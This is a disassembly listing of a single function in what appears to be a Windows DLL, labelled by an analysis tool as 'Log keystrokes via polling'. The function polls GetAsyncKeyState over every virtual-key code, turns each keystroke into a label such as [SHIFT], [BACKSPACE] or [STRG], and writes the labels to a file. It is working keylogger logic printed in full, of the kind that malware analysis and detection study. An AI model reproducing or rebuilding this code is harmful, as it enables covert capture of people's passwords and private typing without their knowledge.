Function at 0x180006c80
Capabilities:
Log keystrokes via polling

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x120]
sub rsp, 0x220
mov rax, qword [0x18000e010]
xor rax, rsp
mov qword [rbp + 0x110], rax
xor r15d, r15d
mov r14d, r15d
mov dword [rsp + 0x50], r15d
mov bl, 1
lea r12, str._NUM
lea r13, [0x18000abb8]
lea rsi, str._KEY__
nop word [rax + rax]
movzx edi, bl
mov ecx, edi
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test al, 1
je 0x180007b92
xorps xmm0, xmm0
movups xmmword [rbp - 0x28], xmm0
mov qword [rbp - 0x18], r15
mov qword [rbp - 0x10], recv
mov byte [rbp - 0x28], 0
cmp bl, 1
jne 0x180006d2e
mov qword [rbp - 0x18], 8
movabs rax, 0x5d4553554f4d4c5b
mov qword [rbp - 0x28], rax
mov byte [rbp - 0x20], 0
jmp 0x180007951
cmp bl, 2
jne 0x180006d52
mov qword [rbp - 0x18], 8
movabs rax, 0x5d4553554f4d525b
mov qword [rbp - 0x28], rax
mov byte [rbp - 0x20], 0
jmp 0x180007951
cmp bl, 4
jne 0x180006d76
mov qword [rbp - 0x18], 8
movabs rax, 0x5d4553554f4d4d5b
mov qword [rbp - 0x28], rax
mov byte [rbp - 0x20], 0
jmp 0x180007951
cmp bl, 0xd
jne 0x180006da3
mov qword [rbp - 0x18], 9
movsd xmm0, qword [str._RETURN__n]
movsd qword [rbp - 0x28], xmm0
movzx eax, byte [0x18000aac0]
mov byte [rbp - 0x20], al
mov byte [rbp - 0x1f], 0
jmp 0x180007938
lea eax, [rbx - 0x10]
cmp al, 2
jbe 0x180007949
lea eax, [rbx + 0x60]
cmp al, 1
jbe 0x18000790d
lea eax, [rbx + 0x5e]
cmp al, 1
jbe 0x1800078eb
cmp bl, 0xa4
jne 0x180006ded
mov qword [rbp - 0x18], 5
mov eax, dword [str._ALT_]
mov dword [rbp - 0x28], eax
movzx eax, byte [0x18000aadc]
mov byte [rbp - 0x24], al
mov byte [rbp - 0x23], 0
jmp 0x180007938
cmp bl, 0xa5
jne 0x180006e11
mov qword [rbp - 0x18], 8
movabs rax, 0x5d524720544c415b
mov qword [rbp - 0x28], rax
mov byte [rbp - 0x20], 0
jmp 0x180007951
cmp bl, 8
jne 0x180006e49
mov qword [rbp - 0x18], reloc.WS2_32.dll_inet_addr
movsd xmm0, qword [str._BACKSPACE_]
movsd qword [rbp - 0x28], xmm0
movzx eax, word [0x18000aae8]
mov word [rbp - 0x20], ax
movzx eax, byte [0x18000aaea]
mov byte [rbp - 0x1e], al
mov byte [rbp - 0x1d], 0
jmp 0x180007938
cmp bl, 9
jne 0x180006e72
mov qword [rbp - 0x18], 5
mov eax, dword [str._TAB_]
mov dword [rbp - 0x28], eax
movzx eax, byte [0x18000aaf0]
mov byte [rbp - 0x24], al
mov byte [rbp - 0x23], 0
jmp 0x180007938
cmp bl, 0x1b
jne 0x180006e9b
mov qword [rbp - 0x18], 5
mov eax, dword [str._ESC_]
mov dword [rbp - 0x28], eax
movzx eax, byte [0x18000aaf8]
mov byte [rbp - 0x24], al
mov byte [rbp - 0x23], 0
jmp 0x180007938
cmp bl, 0x21
jne 0x180006ec8
mov qword [rbp - 0x18], 9
movsd xmm0, qword [str._PAGE_UP_]
movsd qword [rbp - 0x28], xmm0
movzx eax, byte [0x18000ab08]
mov byte [rbp - 0x20], al
mov byte [rbp - 0x1f], 0
jmp 0x180007938
cmp bl, 0x22
jne 0x180006f00
mov qword [rbp - 0x18], reloc.WS2_32.dll_inet_addr
movsd xmm0, qword [str._PAGE_DOWN_]
movsd qword [rbp - 0x28], xmm0
movzx eax, word [0x18000ab18]
mov word [rbp - 0x20], ax
movzx eax, byte [0x18000ab1a]
mov byte [rbp - 0x1e], al
mov byte [rbp - 0x1d], 0
jmp 0x180007938
cmp bl, 0x23
jne 0x180006f2a
mov qword [rbp - 0x18], 6
mov eax, dword [str._HOME_]
mov dword [rbp - 0x28], eax
movzx eax, word [0x18000ab20]
mov word [rbp - 0x24], ax
mov byte [rbp - 0x22], 0
jmp 0x180007938
cmp bl, 0x24
jne 0x180006f54
mov qword [rbp - 0x18], 6
mov eax, dword [str._POS1_]
mov dword [rbp - 0x28], eax
movzx eax, word [0x18000ab28]
mov word [rbp - 0x24], ax
mov byte [rbp - 0x22], 0
jmp 0x180007938
cmp bl, 0x25
jne 0x180006f80
mov qword [rbp - 0x18], reloc.WS2_32.dll_inet_ntoa
movsd xmm0, qword [str._ARROW_LEFT_]
movsd qword [rbp - 0x28], xmm0
mov eax, dword [0x18000ab38]
mov dword [rbp - 0x20], eax
mov byte [rbp - 0x1c], 0
jmp 0x180007938
cmp bl, 0x26
jne 0x180006fae
mov qword [rbp - 0x18], 0xa
movsd xmm0, qword [str._ARROW_UP_]
movsd qword [rbp - 0x28], xmm0
movzx eax, word [0x18000ab48]
mov word [rbp - 0x20], ax
mov byte [rbp - 0x1e], 0
jmp 0x180007938
cmp bl, 0x27
jne 0x180006fe4
mov qword [rbp - 0x18], recv
movsd xmm0, qword [str._ARROW_RIGHT_]
movsd qword [rbp - 0x28], xmm0
mov eax, dword [0x18000ab58]
mov dword [rbp - 0x20], eax
movzx eax, byte [0x18000ab5c]
mov byte [rbp - 0x1c], al
mov byte [rbp - 0x1b], 0
jmp 0x180007938
cmp bl, 0x28
jne 0x180007010
mov qword [rbp - 0x18], reloc.WS2_32.dll_inet_ntoa
movsd xmm0, qword [str._ARROW_DOWN_]
movsd qword [rbp - 0x28], xmm0
mov eax, dword [0x18000ab68]
mov dword [rbp - 0x20], eax
mov byte [rbp - 0x1c], 0
jmp 0x180007938
cmp bl, 0x2d
jne 0x180007039
mov qword [rbp - 0x18], 5
mov eax, dword [str._INS_]
mov dword [rbp - 0x28], eax
movzx eax, byte [0x18000ab74]
mov byte [rbp - 0x24], al
mov byte [rbp - 0x23], 0
jmp 0x180007938
cmp bl, 0x2e
jne 0x180007062
mov qword [rbp - 0x18], 5
mov eax, dword [str._DEL_]
mov dword [rbp - 0x28], eax
movzx eax, byte [0x18000ab7c]
mov byte [rbp - 0x24], al
mov byte [rbp - 0x23], 0
jmp 0x180007938
lea eax, [rbx - 0x20]
cmp al, 0x3a
ja 0x18000708d
movabs rcx, 0x7fffffe03ff0001
bt rcx, rax
jae 0x18000708d
mov qword [rbp - 0x18], 1
mov byte [rbp - 0x28], bl
mov byte [rbp - 0x27], 0
jmp 0x180007951
lea eax, [rbx - 0x5b]
cmp al, 1
jbe 0x1800078ca
cmp bl, 0x60
jb 0x1800072cd
cmp bl, 0x69
ja 0x1800072cd
lea edx, [rdi - 0x60]
lea rcx, [rsp + 0x78]
call fcn.180003770
or r14d, 0x10
mov r8, qword [rbp - 0x78]
mov rcx, qword [rbp - 0x70]
mov rax, rcx
sub rax, r8
cmp rax, 5
jb 0x18000715b
lea rax, [r8 + 5]
mov qword [rbp - 0x78], rax
lea rdi, [rsp + 0x78]
cmp rcx, 0x10
cmovae rdi, qword [rsp + 0x78]
lea rax, [0x18000ab91]
cmp rax, rdi
jbe 0x180007111
lea rax, [rdi + r8]
cmp r12, rax
ja 0x180007111
cmp rdi, r12
ja 0x180007109
mov rsi, r15
jmp 0x180007116
mov rsi, rdi
sub rsi, r12
jmp 0x180007116
mov esi, 5
lea rcx, [rdi + 5]
inc r8
mov rdx, rdi
call sub.VCRUNTIME140.dll_memmove
mov r8, rsi
mov rdx, r12
mov rcx, rdi
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rdi + rsi]
mov r8d, 5
sub r8, rsi
lea rdx, [r12 + 5]
add rdx, rsi
call sub.VCRUNTIME140.dll_memcpy
lea rax, [rsp + 0x78]
lea rsi, str._KEY__
jmp 0x180007178
mov qword [rsp + 0x28], 5
mov qword [rsp + 0x20], r12
mov edx, 5
lea rcx, [rsp + 0x78]
call fcn.180003eb0
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x40], r15
mov qword [rsp + 0x48], r15
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x30], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x40], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], recv
mov byte [rax], 0
bts r14d, 8
mov r8d, 1
lea rdx, [0x18000ab88]
lea rcx, [rsp + 0x30]
call fcn.180003590
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x58], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x68], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], recv
mov byte [rax], 0
bts r14d, 9
mov rdx, qword [rbp - 0x10]
cmp rdx, 0x10
jb 0x180007230
inc rdx
mov rcx, qword [rbp - 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180007221
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180007bcd
call fcn.1800083bc
movups xmm0, xmmword [rsp + 0x58]
movups xmm1, xmmword [rsp + 0x68]
movups xmmword [rbp - 0x28], xmm0
movups xmmword [rbp - 0x18], xmm1
mov rdx, qword [rsp + 0x48]
cmp rdx, 0x10
jb 0x180007275
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180007270
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180007bd4
call fcn.1800083bc
mov qword [rsp + 0x40], r15
mov qword [rsp + 0x48], recv
mov byte [rsp + 0x30], 0
mov rdx, qword [rbp - 0x70]
cmp rdx, 0x10
jb 0x180007938
inc rdx
mov rcx, qword [rsp + 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800072c3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180007bdb
call fcn.1800083bc
jmp 0x180007938
cmp bl, 0x6a
jne 0x1800072f3
mov rax, qword [0x18000ab98]
mov dword [rbp - 0x28], eax
movzx eax, word [0x18000ab9c]
mov word [rbp - 0x24], ax
movzx eax, byte [0x18000ab9e]
jmp 0x180007929
cmp bl, 0x6b
jne 0x180007319
mov rax, qword [str._NUM__]
mov dword [rbp - 0x28], eax
movzx eax, word [0x18000aba4]
mov word [rbp - 0x24], ax
movzx eax, byte [0x18000aba6]
jmp 0x180007929
cmp bl, 0x6d
jne 0x18000733f
mov rax, qword [0x18000aba8]
mov dword [rbp - 0x28], eax
movzx eax, word [0x18000abac]
mov word [rbp - 0x24], ax
movzx eax, byte [0x18000abae]
jmp 0x180007929
cmp bl, 0x6e
jne 0x180007365
mov rax, qword [str._NUM___]
mov dword [rbp - 0x28], eax
movzx eax, word [0x18000abb4]
mov word [rbp - 0x24], ax
movzx eax, byte [0x18000abb6]
jmp 0x180007929
cmp bl, 0x70
jb 0x180007591
cmp bl, 0x7b
ja 0x180007591
lea edx, [rdi - 0x6f]
lea rcx, [rbp - 0x68]
call fcn.180003770
or r14d, 2
mov r8, qword [rbp - 0x58]
mov rcx, qword [rbp - 0x50]
mov rax, rcx
sub rax, r8
cmp rax, 2
jb 0x180007423
lea rax, [r8 + 2]
mov qword [rbp - 0x58], rax
lea rdi, [rbp - 0x68]
cmp rcx, 0x10
cmovae rdi, qword [rbp - 0x68]
lea rax, [0x18000abba]
cmp rax, rdi
jbe 0x1800073db
lea rax, [rdi + r8]
cmp r13, rax
ja 0x1800073db
cmp rdi, r13
ja 0x1800073d3
mov rsi, r15
jmp 0x1800073e0
mov rsi, rdi
sub rsi, r13
jmp 0x1800073e0
mov esi, 2
lea rcx, [rdi + 2]
inc r8
mov rdx, rdi
call sub.VCRUNTIME140.dll_memmove
mov r8, rsi
mov rdx, r13
mov rcx, rdi
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rdi + rsi]
mov r8d, 2
sub r8, rsi
lea rdx, [r13 + 2]
add rdx, rsi
call sub.VCRUNTIME140.dll_memcpy
lea rax, [rbp - 0x68]
lea rsi, str._KEY__
jmp 0x18000743f
mov qword [rsp + 0x28], 2
mov qword [rsp + 0x20], r13
mov edx, 2
lea rcx, [rbp - 0x68]
call fcn.180003eb0
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x40], r15
mov qword [rsp + 0x48], r15
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x30], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x40], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], recv
mov byte [rax], 0
or r14d, 4
mov r8d, 1
lea rdx, [0x18000ab88]
lea rcx, [rsp + 0x30]
call fcn.180003590
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x68], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x58], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], recv
mov byte [rax], 0
or r14d, 8
mov rdx, qword [rbp - 0x10]
cmp rdx, 0x10
jb 0x1800074f5
inc rdx
mov rcx, qword [rbp - 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800074e6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180007be2
call fcn.1800083bc
movups xmm0, xmmword [rsp + 0x68]
movups xmm1, xmmword [rsp + 0x58]
movups xmmword [rbp - 0x28], xmm0
movups xmmword [rbp - 0x18], xmm1
mov rdx, qword [rsp + 0x48]
cmp rdx, 0x10
jb 0x18000753a
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180007535
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180007be9
call fcn.1800083bc
mov qword [rsp + 0x40], r15
mov qword [rsp + 0x48], recv
mov byte [rsp + 0x30], 0
mov rdx, qword [rbp - 0x50]
cmp rdx, 0x10
jb 0x180007938
inc rdx
mov rcx, qword [rbp - 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180007587
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180007bf0
call fcn.1800083bc
jmp 0x180007938
cmp bl, 0x90
jne 0x1800075ba
mov qword [rbp - 0x18], 5
mov eax, dword [str._NUM_]
mov dword [rbp - 0x28], eax
movzx eax, byte [0x18000abc0]
mov byte [rbp - 0x24], al
mov byte [rbp - 0x23], 0
jmp 0x180007938
cmp bl, 0xc0
jne 0x1800075d7
mov qword [rbp - 0x18], 4
mov dword [rbp - 0x28], 0x5d454f5b
mov byte [rbp - 0x24], 0
jmp 0x180007951
cmp bl, 0xde
jne 0x1800075f4
mov qword [rbp - 0x18], 4
mov dword [rbp - 0x28], 0x5d45415b
mov byte [rbp - 0x24], 0
jmp 0x180007951
cmp bl, 0xba
jne 0x180007611
mov qword [rbp - 0x18], 4
mov dword [rbp - 0x28], 0x5d45555b
mov byte [rbp - 0x24], 0
jmp 0x180007951
cmp bl, 0xbb
jne 0x180007629
mov qword [rbp - 0x18], 1
mov word [rbp - 0x28], 0x2b
jmp 0x180007951
cmp bl, 0xbc
jne 0x180007641
mov qword [rbp - 0x18], 1
mov word [rbp - 0x28], 0x2c
jmp 0x180007951
cmp bl, 0xbd
jne 0x180007659
mov qword [rbp - 0x18], 1
mov word [rbp - 0x28], 0x2d
jmp 0x180007951
cmp bl, 0xbe
jne 0x180007671
mov qword [rbp - 0x18], 1
mov word [rbp - 0x28], 0x2e
jmp 0x180007951
cmp bl, 0xbf
jne 0x180007689
mov qword [rbp - 0x18], 1
mov word [rbp - 0x28], 0x23
jmp 0x180007951
cmp bl, 0xe2
jne 0x1800076a1
mov qword [rbp - 0x18], 1
mov word [rbp - 0x28], 0x3c
jmp 0x180007951
mov edx, edi
lea rcx, [rbp - 0x48]
call fcn.180003770
or r14d, 0x20
mov r8, qword [rbp - 0x38]
mov rcx, qword [rbp - 0x30]
mov rax, rcx
sub rax, r8
cmp rax, 6
jb 0x18000775e
lea rax, [r8 + 6]
mov qword [rbp - 0x38], rax
lea rdi, [rbp - 0x48]
cmp rcx, 0x10
cmovae rdi, qword [rbp - 0x48]
lea rax, [0x18000abca]
cmp rax, rdi
jbe 0x18000770b
lea rax, [rdi + r8]
cmp rsi, rax
ja 0x18000770b
cmp rdi, rsi
ja 0x1800076fc
mov rsi, r15
jmp 0x180007710
mov rsi, rdi
lea rax, str._KEY__
sub rsi, rax
jmp 0x180007710
mov esi, 6
lea rcx, [rdi + 6]
inc r8
mov rdx, rdi
call sub.VCRUNTIME140.dll_memmove
mov r8, rsi
lea rdx, str._KEY__
mov rcx, rdi
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rdi + rsi]
mov r8d, 6
sub r8, rsi
lea rdx, str._KEY__
add rdx, 6
add rdx, rsi
call sub.VCRUNTIME140.dll_memcpy
lea rax, [rbp - 0x48]
lea rsi, str._KEY__
jmp 0x18000777a
mov qword [rsp + 0x28], 6
mov qword [rsp + 0x20], rsi
mov edx, 6
lea rcx, [rbp - 0x48]
call fcn.180003eb0
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x40], r15
mov qword [rsp + 0x48], r15
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x30], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x40], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], recv
mov byte [rax], 0
or r14d, 0x40
mov r8d, 1
lea rdx, [0x18000ab88]
lea rcx, [rsp + 0x30]
call fcn.180003590
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x68], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x58], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], recv
mov byte [rax], 0
bts r14d, 7
mov rdx, qword [rbp - 0x10]
cmp rdx, 0x10
jb 0x180007831
inc rdx
mov rcx, qword [rbp - 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180007822
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180007bf7
call fcn.1800083bc
movups xmm0, xmmword [rsp + 0x68]
movups xmm1, xmmword [rsp + 0x58]
movups xmmword [rbp - 0x28], xmm0
movups xmmword [rbp - 0x18], xmm1
mov rdx, qword [rsp + 0x48]
cmp rdx, 0x10
jb 0x180007876
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180007871
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180007bfe
call fcn.1800083bc
mov qword [rsp + 0x40], r15
mov qword [rsp + 0x48], recv
mov byte [rsp + 0x30], 0
mov rdx, qword [rbp - 0x30]
cmp rdx, 0x10
jb 0x180007938
inc rdx
mov rcx, qword [rbp - 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800078c3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180007c05
call fcn.1800083bc
jmp 0x180007938
mov qword [rbp - 0x18], 5
mov eax, dword [str._WIN_]
mov dword [rbp - 0x28], eax
movzx eax, byte [0x18000ab84]
mov byte [rbp - 0x24], al
mov byte [rbp - 0x23], 0
jmp 0x180007938
mov qword [rbp - 0x18], 6
mov eax, dword [str._STRG_]
mov dword [rbp - 0x28], eax
movzx eax, word [0x18000aad4]
mov word [rbp - 0x24], ax
mov byte [rbp - 0x22], 0
jmp 0x180007938
mov rax, qword [str._SHIFT_]
mov dword [rbp - 0x28], eax
movzx eax, word [0x18000aacc]
mov word [rbp - 0x24], ax
movzx eax, byte [0x18000aace]
mov qword [rbp - 0x18], 7
mov byte [rbp - 0x22], al
mov byte [rbp - 0x21], 0
lea rcx, [rbp - 0x28]
cmp qword [rbp - 0x10], 0x10
jb 0x180007955
mov rcx, qword [rbp - 0x28]
jmp 0x180007955
mov qword [rbp - 0x18], r15
mov byte [rbp - 0x28], 0
lea rcx, [rbp - 0x28]
mov r8, qword [rbp - 0x18]
test r8, r8
jne 0x180007972
lea rdx, [0x18000a7f8]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x180007b5b
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp]
call sub.VCRUNTIME140.dll_memset
lea rax, [0x18000a7c0]
mov qword [rbp], rax
lea rcx, [rbp + 0xa8]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::constructor_void____ptr64]
nop
or r14d, 1
mov dword [rsp + 0x50], r14d
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 8]
lea rcx, [rbp]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::constructor_class_std::basic_streambuf_char__struct_std::char_traits_char______ptr64__bool____ptr64]
nop
mov rax, qword [rbp]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx], rax
mov rax, qword [rbp]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx - 4], edx
lea rcx, [rbp + 8]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::constructor_void____ptr64]
lea rdi, vtable.std::basic_filebuf_char__struct_std::char_traits_char__.0
mov qword [rbp + 8], rdi
mov byte [rbp + 0x84], 0
mov byte [rbp + 0x79], 0
lea rcx, [rbp + 8]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Init_void____ptr64]
mov qword [rbp + 0x88], r15
mov rax, qword [0x18000eef0]
mov qword [rbp + 0x7c], rax
mov qword [rbp + 0x70], r15
lea rdx, [0x18000e0b8]
cmp qword [0x18000e0d0], 0x10
cmovae rdx, qword [0x18000e0b8]
mov r8d, 0xa
lea rcx, [rbp + 8]
call fcn.180003610
xor r8d, r8d
test rax, rax
mov rax, qword [rbp]
movsxd rcx, dword [rax + 4]
lea rax, [rbp]
je 0x180007a67
add rcx, rax
xor edx, edx
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::clear_int__bool____ptr64]
jmp 0x180007a75
add rcx, rax
mov edx, 2
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
lea rdx, [rbp - 0x28]
cmp qword [rbp - 0x10], 0x10
cmovae rdx, qword [rbp - 0x28]
mov r8, qword [rbp - 0x18]
lea rcx, [rbp]
call fcn.180006760
lea rcx, [rbp]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::flush_void____ptr64]
lea rcx, [rbp + 8]
call fcn.1800034e0
test rax, rax
jne 0x180007ac5
mov rax, qword [rbp]
movsxd rcx, dword [rax + 4]
lea rax, [rbp]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
nop
mov rax, qword [rbp]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx], rax
mov rax, qword [rbp]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx - 4], edx
mov qword [rbp + 8], rdi
cmp qword [rbp + 0x88], 0
je 0x180007b26
mov rax, qword [rbp + 0x20]
lea rcx, [rbp + 0x78]
cmp qword [rax], rcx
jne 0x180007b26
mov rdx, qword [rbp + 0x98]
mov rcx, qword [rbp + 0x90]
mov qword [rax], rcx
mov rax, qword [rbp + 0x40]
mov qword [rax], rcx
sub edx, ecx
mov rax, qword [rbp + 0x58]
mov dword [rax], edx
cmp byte [rbp + 0x84], 0
je 0x180007b38
lea rcx, [rbp + 8]
call fcn.1800034e0
lea rcx, [rbp + 8]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x10]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0xa8]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
mov rdx, qword [rbp - 0x10]
cmp rdx, 0x10
jb 0x180007b92
inc rdx
mov rcx, qword [rbp - 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180007b8d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180007c0c
call fcn.1800083bc
inc bl
cmp bl, 0xff
jb 0x180006ce0
mov rcx, qword [rbp + 0x110]
xor rcx, rsp
call fcn.180008360
lea r11, [rsp + 0x220]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3